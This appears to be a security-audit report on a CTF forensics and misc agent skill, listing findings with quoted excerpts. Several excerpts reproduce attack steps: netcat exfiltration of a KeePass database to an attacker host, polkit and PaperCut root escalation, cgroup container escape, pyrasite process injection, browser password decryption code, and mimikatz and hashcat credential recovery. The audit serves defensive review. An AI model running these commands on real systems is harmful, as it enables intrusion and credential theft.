Back to skill

Security audit

CTF Misc & Forensics

Security checks for vulnerabilities and agentic risk

Overview

This CTF forensics skill is documentation-only, but its bundled references include ungated instructions for credential extraction, exfiltration, privilege escalation, process injection, and container escape.

Install only if you intend to use it in authorized CTF or disposable lab environments. Do not let an agent apply the privilege-escalation, credential-recovery, process-injection, container-escape, or exfiltration recipes against real systems or user data without separate, explicit authorization and containment.

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (7)

other

Error
Location
references/ctf-forensics/linux-forensics.md:242
Finding

KeePass Credential Database Exfiltration over Netcat

Content
View full analysis
kdbx.b64 && base64 -d kdbx.b64 > system.kdbx ``` ### Technical Analysis The reference explicitly instructs the Agent to transfer a KeePass database from a target system to an attacker-controlled network listener. Base64 is an encoding mechanism, not encryption, and provides no confidentiality or authorization protection. The surrounding instructions subsequently direct the operator to crack the database and inspect it for SSH private keys, passwords, and API tokens. This behavior is not required for passive disk, memory, or network forensics and violates least-privilege and data-minimization principles. The Skill is documentation-only and does not automatically execute these commands when loaded. Nevertheless, an Agent following the instructions could perform active credential theft and network exfiltration. ### Attack Path 1. Locate `.system.kdbx` on the target or compromised system. 2. Start a Netcat listener on a remote system at TCP port 4444. 3. Base64-encode the credential database. 4. Transmit the encoded database to `attacker_ip`. 5. Decode the received data into `system.kdbx`. 6. Crack or open the database. 7. Extract passwords, API tokens, and SSH private keys. 8. Reuse the recovered credentials for account compromise or lateral movement. ### Impact Assessment Successful exploitation discloses the complete KeePass database to an external party. Depending on its contents, this can compromise local and remote accounts, SSH infrastructure, API services, and other systems accessible with recovered credentials. The network destination is operator-controlled, so the disclosure scope is not l ...[truncated 24 chars]
Remediation
View remediation

T05 · Unauthorized Access and Privilege Escalation

Error
Location
references/ctf-misc/linux-privesc.md:274
Finding

Polkit Authentication Bypass with Persistent Root Systemd Service

Content
View full analysis
/tmp/out' systemctl enable --now /home/loluser/pwn.service cat /tmp/out ``` ### Technical Analysis The procedure exploits CVE-2018-19788 by creating a user whose UID exceeds `INT_MAX`, causing vulnerable polkit versions to treat the identity incorrectly and skip authentication. It then registers and immediately starts an attacker-controlled systemd service with root privileges. The use of `systemctl enable` is especially significant because it creates cross-session persistence: the service remains registered and can execute again after reboot. Creating a user and installing a privileged startup service substantially exceed the permissions required for the declared miscellaneous and forensic-analysis functionality. Although presented as a historical CTF technique, the commands are directly operational and lack mandatory checks for target ownership, vulnerability-lab isolation, or user authorization. ### Attack Path 1. Obtain command execution as a user capable of creating the crafted high-UID account on a vulnerable system. 2. Create UID `4020181224`, which exceeds signed 32-bit `INT_MAX`. 3. Switch to the crafted user. 4. Write an attacker-controlled systemd unit under the user’s home directory. 5. Invoke `systemctl enable --now` against the unit. 6. Vulnerable polkit skips the expected authentication check. 7. Systemd executes the service as root. 8. Because the service is enabled, it remains available across subsequent sessions or reboots. ### Impact Assessment An attacker can obtain root-level command execution, read root-only files, alter system configuration, access all users’ data, install additional backdoors, and ...[truncated 149 chars]
Remediation
View remediation

T05 · Unauthorized Access and Privilege Escalation

Error
Location
references/ctf-misc/linux-privesc.md:111
Finding

Root SUID Shell Creation through Backup Cronjob Abuse

Content
View full analysis
Remediation
View remediation

T05 · Unauthorized Access and Privilege Escalation

Error
Location
references/ctf-misc/linux-privesc.md:195
Finding

PaperCut Root Service Script Injection

Content
View full analysis
> ~/server/bin/linux-x64/server-command # Trigger root execution via PaperCut admin API curl -c /tmp/cookies.txt "http://localhost:9191/app?service=page/SetupCompleted" curl -b /tmp/cookies.txt "http://localhost:9191/print-deploy/admin/api/mobilityServers/v2?refresh=true" # Execute SUID bash bash -p ``` ### Technical Analysis The procedure modifies a user-writable script that is later executed by a root-owned PaperCut service. The injected command sets the SUID bit on the system Bash binary. Requests to the local administrative API then trigger the privileged execution path, after which `bash -p` launches a root-effective shell. This combines a confused-deputy condition with privileged file-permission modification. It is unrelated to the minimum privileges required for forensic artifact analysis and can leave `/bin/bash` globally exploitable by local users. ### Attack Path 1. Gain write access to PaperCut’s `server-command` script. 2. Append a command that sets SUID on `/bin/bash`. 3. Reach the local PaperCut administrative service. 4. Invoke the API operation that causes the root service to run the modified script. 5. The service changes `/bin/bash` permissions as root. 6. Execute `bash -p` to preserve effective UID 0. 7. Use the root shell to control the host. ### Impact Assessment Successful exploitation grants full root access. Setting SUID on the system Bash binary can expose root privileges to other local users and persist beyond the triggering request until permissions are repaired. The attacker can compromise all local data and security controls. ]]>
Remediation
View remediation

T05 · Unauthorized Access and Privilege Escalation

Error
Location
references/ctf-misc/games-and-vms-3.md:464
Finding

Docker Container Escape through Host Mounts and Docker Socket

Content
View full analysis
/tmp/cgrp/x/notify_on_release host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab) echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd && echo 'cat /flag > /tmp/cgrp/x/flag' >> /cmd && chmod +x /cmd echo $$ > /tmp/cgrp/x/cgroup.procs # Trigger release_agent ``` ### Technical Analysis The reference provides three complete container-breakout methods: 1. Mounting a host block device from a privileged container and entering it with `chroot`. 2. Using a mounted Docker socket to create another privileged container with the host root mounted. 3. Using `CAP_SYS_ADMIN` and cgroup `release_agent` to trigger a command in the host context. All three techniques intentionally cross the container security boundary. Access to the Docker daemon is effectively root-equivalent because it can create containers with arbitrary bind mounts and elevated privileges. ### Attack Path 1. O ...[truncated 847 chars]
Remediation
View remediation

other

Error
Location
references/ctf-misc/games-and-vms-3.md:177
Finding

Serialized Python Code Injection with Secret Exfiltration

Content
View full analysis
Remediation
View remediation

T05 · Unauthorized Access and Privilege Escalation

Error
Location
references/ctf-forensics/linux-forensics.md:484
Finding

Intrusive Process Injection and Secret Enumeration via Pyrasite

Content
View full analysis
``` ```python import sys, uncompyle6 # List all global variables and functions for name, obj in globals().items(): if hasattr(obj, 'func_code'): print(f"\n=== {name} ===") uncompyle6.main.uncompyle(sys.version_info[0] + sys.version_info[1]/10.0, obj.func_code, sys.stdout) # 4. Also check for variables containing secrets print(globals()) # May contain flags, keys, etc. ``` ### Technical Analysis `pyrasite-shell` uses `ptrace` to inject a Python interpreter context into an already running process. The supplied procedure then enumerates and prints process-global objects explicitly to locate flags, keys, or other secrets. Memory inspection can be legitimate in an authorized forensic investigation, but active `ptrace` attachment is intrusive and can modify process state. The instructions do not require evidence ownership, target authorization, process duplication, or an isolated forensic copy. This exceeds passive artifact analysis and can expose secrets belonging to unrelated services. ### Attack Path 1. Enumerate running Python processes. 2. Select a process accessible under current `ptrace` permissions. 3. Attach to it with `pyrasite-shell`. 4. Execute Python inside the target process context. 5. Enumerate code objects and global variables. 6. Print keys, flags, tokens, or other in-memory secrets. 7. Use the recovered material to access protected resources. ### Impact Assessment The operator can access sensitive information held by the target process and may execute arbitrary Python in that process’s security context. Depending on the process ...[truncated 193 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (189)

Credential Access

High
Category
Privilege Escalation
Confidence
80% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/ctf-forensics/SKILL.md (reported line 53)May include surrounding context.

md
- [stego-image.md](stego-image.md) - Image-specific steganography (JPEG unused DQT table LSB, BMP bitplane QR extraction, image puzzle reassembly, F5 JPEG DCT ratio detection, PNG unused palette entry stego, QR code tile reconstruction, seed-based pixel permutation + multi-bitplane QR, JPEG thumbnail pixel-to-text mapping, conditional LSB with pixel filtering, JPEG slack space, nearest-neighbor interpolation stego, RGB parity steganography)
- [stego-advanced.md](stego-advanced.md) - Advanced steganography part 1: audio and signal techniques (FFT frequency domain, DTMF audio, SSTV+LSB, DotCode barcode, custom frequency dual-tone keypad, multi-track audio differential subtraction, cross-channel multi-bit LSB, audio FFT musical notes, audio metadata octal encoding, nested tar whitespace encoding, DeepSound audio stego with password cracking, audio waveform binary encoding, audio spectrogram hidden QR)
- [stego-advanced-2.md](stego-advanced-2.md) - Advanced steganography part 2: video, image transform, and format-specific techniques (video frame accumulation, reversed audio, video frame averaging, JPEG XL TOC permutation steganography, Arnold's Cat Map descrambling, high-resolution SSTV custom FM demodulation, MJPEG FFD9 trailing byte stego, EXIF zlib + Stegano pixel patterns, PDF xref covert channel, ANSI escape code stego, pixel-wise ECB deduplication)
- [linux-forensics.md](linux-forensics.md) - Linux/app forensics (log analysis, Docker image forensics, attack chains, browser credentials, Firefox history, TFTP, TLS weak RSA, USB audio, Git directory recovery, KeePass v4 cracking, Git reflog/fsck squash recovery, browser artifact analysis (Chrome/Chromium/Firefox history, cookies, downloads, local storage, session restore), corrupted git blob repair via byte brute-force, VBA macro Excel cell data to ELF binary extraction, Python in-memory source recovery via pyrasite)
- [signals-and-hardware.md](signals-and-hardware.md) - Hardware signal decoding with decode code (VGA
...[truncated 25 chars]

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High
Category
YARA Match
Confidence
70% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · references/ctf-forensics/SKILL.md (reported line 206)May include surrounding context.

ENT|SESSION_KEY"

Coredump

gdb -c core.dump # info registers, x/100x $rsp, find "flag"

text

See [disk-and-memory.md](disk-and-memory.md) for full Volatility plugin reference, VM forensics, and VMware snapshots. See [disk-advanced.md](disk-advanced.md) for deleted partition recovery, ZFS forensics, and ransomware analysis.

## Windows Password Hashes

```bash
# Extract with impacket, crack with hashcat -m 1000
python -c "from impacket.examples.secretsdump import *; SAMHashes('SAM', LocalOperations('SYSTEM').getBootKey()).dump()"

See windows.md for SAM details and network-advanced.md for NTLMv2 cracking from PCAP.

Bitcoin Tracing

  • Use mempool.space API: https://mempool.space/api/tx/<TXID>
  • Peel chain: ALWAYS follow LARGER output; round amounts indicate peels

Uncommon File Magic Bytes

MagicFormatExtensionNotes
OggSOgg container.oggAudio/video
RIFFRIFF

Credential Access

High
Category
Privilege Escalation
Confidence
89% confidence
Finding

The browser forensics section explicitly describes decrypting Chrome/Edge login data using DPAPI-derived material. Even in a forensic context, this is credential-access guidance that could be misused to extract stored passwords from a host if an agent were allowed to act on it.

Content

Scanner excerpt · references/ctf-forensics/SKILL.md (reported line 267)May include surrounding context.

md
## Browser Forensics

- **Chrome/Edge:** Decrypt `Login Data` SQLite with AES-GCM using DPAPI master key
- **Firefox:** Query `places.sqlite` -- `SELECT url FROM moz_places WHERE url LIKE '%flag%'`

See [linux-forensics.md](linux-forensics.md) for full browser credential decryption code.

YARA rule 'info_stealer': Information stealer patterns (credential harvesting, browser data theft) [malware]

High
Category
YARA Match
Confidence
90% confidence
Finding

The detected pattern is substantiated by explicit guidance on decrypting stored browser credentials. In an agent skill, this materially lowers the barrier to credential theft or unauthorized access if the content is followed outside a tightly controlled forensic or CTF setting.

Content

Scanner excerpt · references/ctf-forensics/SKILL.md (reported line 267)May include surrounding context.

md
eyboard LED exfiltration:** Host-to-device HID SET_REPORT packets toggle Caps Lock LED. Timing encodes Morse code. See [peripheral-capture.md](peripheral-capture.md#usb-keyboard-led-morse-code-exfiltration-bitsctf-2017).

See [network.md](network.md) for SMB3 decryption, credential extraction, and [linux-forensics.md](linux-forensics.md) for full TLS/TFTP/USB workflows.

## Browser Forensics

- **Chrome/Edge:** Decrypt `Login Data` SQLite with AES-GCM using DPAPI master key
- **Firefox:** Query `places.sqlite` -- `SELECT url FROM moz_places WHERE url LIKE '%flag%'`

See [linux-forensics.md](linux-forensics.md) for full browser credential decryption code.

## Additional Technique Quick References

- **Docker image forensics:** Config JSON preserves ALL `RUN` commands even after cleanup. `tar xf app.tar` then inspect config blob. See [linux-forensics.md](linux-forensics.md).
- **Linux attack chains:** Check `auth.log`, `.bash_history`, recent binaries, PCAP. See [linux-forensics.md](linu

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Listing /etc/shadow as a forensic target explicitly points users to credential material that, on real systems, can enable offline password cracking and account compromise. In container forensics this may be relevant evidence, but the skill should treat it as highly sensitive and bound to authorized investigation only.

Content

Scanner excerpt · references/ctf-forensics/disk-and-memory.md (reported line 320)May include surrounding context.

Common forensic targets in container images:

/app/.env, /app/config/* — application secrets

/root/.bash_history — build-time commands

/etc/shadow — leaked credentials

Deleted files visible in earlier layers even if removed in later ones

text

Context-Inappropriate Capability

High
Category
Not specified by scanner
Confidence
96% confidence
Finding

This section goes beyond passive forensic recovery and provides operational guidance to recover DNSSEC private keys from git history and then use them to forge signed DNS responses. That directly enables credential/key misuse and active network deception, which is dangerous even in a CTF-oriented reference because the technique is transferable to real targets with minimal modification.

Content

No source excerpt is available for this finding.

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/ctf-forensics/disk-and-memory.md (reported line 337)May include surrounding context.

md
3. Parse the config blob JSON for `history[].created_by` entries
4. Each entry shows the exact Dockerfile command that was run
5. Secrets echoed, written, or processed in any `RUN` command are preserved in the history
6. Even if a later layer `rm -f secret.txt`, the `RUN echo "flag{...}" > secret.txt` remains visible

---

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/ctf-forensics/linux-forensics.md (reported line 84)May include surrounding context.

md
3. Parse the config blob JSON for `history[].created_by` entries
4. Each entry shows the exact Dockerfile command that was run
5. Secrets echoed, written, or processed in any `RUN` command are preserved in the history
6. Even if a later layer `rm -f secret.txt`, the `RUN echo "flag{...}" > secret.txt` remains visible

---

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

The Chrome/Edge Login Data decryption section directly enables recovery of plaintext passwords from browser storage. In context this is not merely noting the existence of credentials; it gives operational instructions that can be used for credential access and account compromise.

Content

Scanner excerpt · references/ctf-forensics/linux-forensics.md (reported line 90)May include surrounding context.

Browser Credential Decryption

Chrome/Edge Login Data decryption (requires master_key.txt):

python
from Crypto.Cipher import AES
import sqlite3, json, base64

YARA rule 'info_stealer': Information stealer patterns (credential harvesting, browser data theft) [malware]

High
Category
YARA Match
Confidence
94% confidence
Finding

The info-stealer pattern is a true positive here because the section shows how to decrypt browser-stored credentials and enumerate sensitive browser data stores. In a reusable assistant skill, this materially lowers the barrier to credential harvesting from victim systems despite being framed as forensic help.

Content

Scanner excerpt · references/ctf-forensics/linux-forensics.md (reported line 90)May include surrounding context.

est.jsonto find the config blob hash 3. Parse the config blob JSON forhistory[].created_byentries 4. Each entry shows the exact Dockerfile command that was run 5. Secrets echoed, written, or processed in anyRUNcommand are preserved in the history 6. Even if a later layerrm -f secret.txt, the RUN echo "flag{...}" > secret.txt` remains visible


Browser Credential Decryption

Chrome/Edge Login Data decryption (requires master_key.txt):

python
from Crypto.Cipher import AES
import sqlite3, json, base64

# Load master key (from Local State file, DPAPI-protected)
with open('master_key.txt', 'rb') as f:
    master_key = f.read()

conn = sqlite3.connect('Login Data')
cursor = conn.cursor()
cursor.execute('SELECT origin_url, username_value, password_value FROM logins')
for url, user, encrypted_pw in cursor.fetchall():
    # v10/v11 prefix = AES-GCM encrypted
    nonce = encrypted_pw[3:15]
    ciphertext = encrypted_pw[15:-16]
    tag = encrypted_pw[-16:]
    cipher =

Missing User Warnings

High
Category
Not specified by scanner
Confidence
97% confidence
Finding

This workflow covers extracting a KeePass database from a remote system, transferring it over netcat, generating wordlists, and cracking it with specialized tooling. That combination materially facilitates credential theft and lateral-movement preparation, especially because it includes exfiltration and brute-force steps rather than just artifact identification.

Content

No source excerpt is available for this finding.

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High
Category
YARA Match
Confidence
93% confidence
Finding

The reference to hashcat, cewl, and related cracking workflow is not dangerous solely because of the tool names, but in this context they are part of a complete process to brute-force a KeePass database and extract credentials. That elevates the section from benign artifact discussion to actionable credential-compromise guidance.

Content

Scanner excerpt · references/ctf-forensics/linux-forensics.md (reported line 276)May include surrounding context.

eepass4brute (direct brute-force) python3 keepass4brute.py -d wordlist.txt system.kdbx

text

**Wordlist generation from challenge context:**
```bash
# Generate wordlist from related website content
cewl http://target:8080 -d 2 -m 5 -w cewl_words.txt

# Add theme-related keywords manually
echo -e "expectopatronum\nharrypotter\nalohomora" >> cewl_words.txt

# Crack with hashcat (Argon2 = mode 13400)
hashcat -m 13400 hash.txt cewl_words.txt

After cracking — extract credentials:

  1. Open .kdbx in KeePassXC with recovered password
  2. Check all entries for SSH private keys, passwords, API tokens
  3. SSH keys are typically stored in the "Notes" or "Advanced" attachment fields

Key insight: Standard keepass2john does not support KeePass v4 (KDBX 4.x) databases that use Argon2 key derivation. Use the ivanmrsulja/keepass2john fork or keepass4brute for v4 support. Generate context-aware wordlists with cewl targeting related web services.


Git Reflog and fsck for Squa

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/ctf-forensics/linux-forensics.md (reported line 330)May include surrounding context.

md
# Downloads
sqlite3 "History" "SELECT target_path, tab_url, datetime(start_time/1000000-11644473600,'unixepoch') FROM downloads;"

# Cookies (encrypted on modern Chrome — need DPAPI/keychain key)
sqlite3 "Cookies" "SELECT host_key, name, datetime(expires_utc/1000000-11644473600,'unixepoch') FROM cookies;"

# Login Data (passwords — encrypted)

Context-Inappropriate Capability

High
Category
Not specified by scanner
Confidence
96% confidence
Finding

The pyrasite guidance instructs attaching to a live Python process via ptrace and injecting an interactive shell to inspect globals and decompile code. That is invasive capability well beyond passive forensic parsing and can be repurposed for unauthorized code injection, memory access, and bypass of application boundaries on a live system.

Content

No source excerpt is available for this finding.

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High
Category
YARA Match
Confidence
70% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · references/ctf-forensics/network-advanced.md (reported line 346)May include surrounding context.

ta = bytes.fromhex(hex_payload.strip()) salt = data[:48] rid = unpack('<I', data[-20:-16])[0] md5hash = data[-16:] return f"{rid}:$sntp-ms${md5hash.hex()}${salt.hex()}"

if len(sys.argv) != 2: print("Usage: python sntp_to_hashcat.py <hex_payload>") sys.exit(1)

print(to_hashcat_form(sys.argv[1]))

text

**Cracking with Hashcat:**
```bash
# Mode 31300 = MS-SNTP (Timeroasting)
hashcat -m 31300 -a 0 -O hashes.txt rockyou.txt --username

Example hash format:

text
1108:$sntp-ms$d7d0422d66705c6189c1d20aed76baa4$1c0111e900000000000a09314c4f434ced4c979d652b89f1e1b8428bffbfcd0aed4ca3bbb1338716ed4ca3bbb133cf3a

Key insight: MS-SNTP responses from domain controllers leak HMAC-MD5 authentication material tied to machine account NTLM hashes. Unlike Kerberoasting (which targets service accounts), Timeroasting targets machine accounts whose passwords are often weak or predictable (e.g., lowercase hostname). Any valid RID triggers a response — no special

Missing User Warnings

High
Category
Not specified by scanner
Confidence
94% confidence
Finding

The instructions explain how to extract a private key from a PKCS12 container and use it to decrypt RDP traffic, which directly exposes confidential session contents and potentially credentials. Publishing this as routine workflow without strong authorization and privacy warnings creates a meaningful dual-use risk beyond normal benign forensic reference material.

Content

No source excerpt is available for this finding.

Missing User Warnings

High
Category
Not specified by scanner
Confidence
95% confidence
Finding

This section instructs users to crack a RADIUS shared secret and then decrypt password fields, which directly facilitates recovery of protected credentials from network captures. The combination of tool invocation, target artifact extraction, and decryption outcome makes it practically actionable for unauthorized credential disclosure.

Content

No source excerpt is available for this finding.

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High
Category
YARA Match
Confidence
70% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · references/ctf-forensics/network.md (reported line 249)May include surrounding context.

word = ` |

bash
# Search shell stream for credentials
tshark -r capture.pcap -q -z "follow,tcp,ascii,<stream>" | grep -i "password"

SMB3 Encrypted Traffic

Step 1: Extract NTLMv2 hash

bash
tshark -r capture.pcap -Y "ntlmssp.messagetype == 0x00000003" -T fields \
  -e ntlmssp.ntlmv2_response.ntproofstr \
  -e ntlmssp.auth.username

Step 2: Crack with hashcat

bash
hashcat -m 5600 ntlmv2_hash.txt wordlist.txt

Step 3: Derive SMB 3.1.1 session keys (Python)

python
from Cryptodome.Cipher import AES, ARC4
from Cryptodome.Hash import MD4
import hmac, hashlib

def SP800_108_Counter_KDF(Ki, Label, Context, L):
    n = (L // 256) + 1
    result = b''
    for i in range(1, n + 1):
        data = i.to_bytes(4, 'big') + Label + b'\x00' + Context + L.to_bytes(4, 'big')
        result += hmac.new(Ki, data, hashlib.sha256).digest()
    return result[:L // 8]

# Compute session key
nt_hash = MD4.new(password.encode('utf-16le')).digest()
response_key = hmac.

Natural-Language Policy Violations

High
Category
Not specified by scanner
Confidence
93% confidence
Finding

This section provides concrete steps and code to recover typed text from keystroke audio, which is a recognized side-channel surveillance technique. Even in a CTF/forensics context, publishing turnkey reconstruction guidance without clear authorization, privacy, or defensive-use boundaries materially lowers the barrier to misuse against real users.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

High
Category
Not specified by scanner
Confidence
91% confidence
Finding

The keylogger-dump parsing section normalizes processing of captured keystroke data and includes code that directly extracts key press events from raw input-event logs. That capability can be repurposed to analyze stolen credential material or surveilled user input, making it sensitive dual-use content.

Content

No source excerpt is available for this finding.

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High
Category
YARA Match
Confidence
70% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · references/ctf-forensics/stego-advanced.md (reported line 363)May include surrounding context.

ography: part 1 visible in Audacity spectrogram, part 2 hidden with DeepSound tool (password-protected). Use deepsound2john.py to extract the hash, crack with John, then retrieve hidden files.

bash
# Phase 1: Check spectrogram for visible text
sox audio.wav -n spectrogram -o spec.png

# Phase 2: Extract DeepSound password hash
python3 deepsound2john.py audio.wav > hash.txt

# Crack password
john --wordlist=rockyou.txt hash.txt

# Extract hidden file with DeepSound GUI or CLI using cracked password

DeepSound detection:

python
# DeepSound embeds a signature in WAV files
# Check for DeepSound header pattern in audio data
with open('audio.wav', 'rb') as f:
    data = f.read()
    # DeepSound uses specific byte patterns in the audio data section
    # deepsound2john.py from John the Ripper's bleeding-jumbo branch
    # handles detection and hash extraction automatically

Tool installation:

bash
# deepsound2john.py is part of John the Ripper bleeding-jumbo
git cl

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High
Category
YARA Match
Confidence
70% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · references/ctf-forensics/windows.md (reported line 18)May include surrounding context.

md
dat)
- [Hosts File Hidden Data](#hosts-file-hidden-data)
- [Contact Files (.contact)](#contact-files-contact)
- [WinZip AES Encrypted Archives](#winzip-aes-encrypted-archives)
- [NTFS Alternate Data Streams](#ntfs-alternate-data-streams)
- [NTFS MFT Analysis](#ntfs-mft-analysis)
- [USN Journal ($J) Analysis](#usn-journal-j-analysis)
- [SAM Account Creation Timing](#sam-account-creation-timing)
- [Impacket wmiexec.py Artifacts](#impacket-wmiexecpy-artifacts)
- [PowerShell History as Timeline](#powershell-history-as-timeline)
- [User Profile Creation as First Login Indicator](#user-profile-creation-as-first-login-indicator)
- [RDP Session Event IDs](#rdp-session-event-ids)
- [Windows Defender MPLog Analysis](#windows-defender-mplog-analysis)
- [Anti-Forensics Detection Checklist](#anti-forensics-detection-checklist)
- [Windows Memory Forensics: certutil Base64 ZIP Recovery (SEC-T CTF 2017)](#windows-memory-forensics-certutil-base64-zip-recovery-sec-t-ctf-2017)
- [NTFS EFSTMPWP Folder as

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/ctf-forensics/windows.md (reported line 149)May include surrounding context.

Hex-encoded flag fragments:

bash
cat '$R_InternSecret.txt'
# Output: 4B4354467B72656330...
echo "4B4354467B72656330..." | xxd -r -p

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/ctf-forensics/windows.md (reported line 235)May include surrounding context.

md
# Using Sleuth Kit on a raw NTFS image (best for forensics):
fls -r ntfs_image.dd                              # Recursive file listing
fls -r ntfs_image.dd | grep -i ":"                # ADS entries contain ":"
# Output: r/r 66-128-4: Documents/credentials.txt:hidden_flag.jpg

# Extract ADS by inode — find inode first:
istat ntfs_image.dd 66                            # Show all attributes for inode 66

YARA rule 'info_stealer': Information stealer patterns (credential harvesting, browser data theft) [malware]

High
Category
YARA Match
Confidence
85% confidence
Finding

The explicit recommendation to run a Mimikatz Volatility plugin for plaintext credential recovery crosses from general forensic awareness into actionable credential-harvesting guidance. In a reusable skill, this materially lowers the barrier to extracting secrets from memory and could be repurposed for unauthorized credential theft.

Content

Scanner excerpt · references/ctf-forensics/windows.md (reported line 600)May include surrounding context.

line, consoles, and filescan` for full user-activity reconstruction.

References: OtterCTF 2018 — Silly Rick, writeup 12596


Volatility Credential Recovery Toolkit (OtterCTF 2018)

Pattern: One memory dump, a shopping list of Volatility plugins to try in order:

bash
# 1. Recent copy-pasted passwords
vol.py -f dump.vmem --profile=Win7SP1x64 clipboard

# 2. Loaded plugins: mimikatz (third-party) — plaintext wdigest creds
vol.py --plugins=./plugin/ -f dump.vmem --profile=Win7SP1x64 mimikatz

# 3. NTLM / LM hashes from SAM hive
vol.py -f dump.vmem --profile=Win7SP1x64 hivelist          # find SAM offset
vol.py -f dump.vmem --profile=Win7SP1x64 hashdump -y SYSTEM_off -s SAM_off

# 4. Registry values (computer name, policies)
vol.py -f dump.vmem --profile=Win7SP1x64 printkey \
    -K 'ControlSet001\Control\ComputerName\ComputerName'

# 5. Process memory carving: dump and grep for patterns
vol.py -f dump.vmem --profile=Win7SP1x64 memdump -p 3720 -D out/
strings out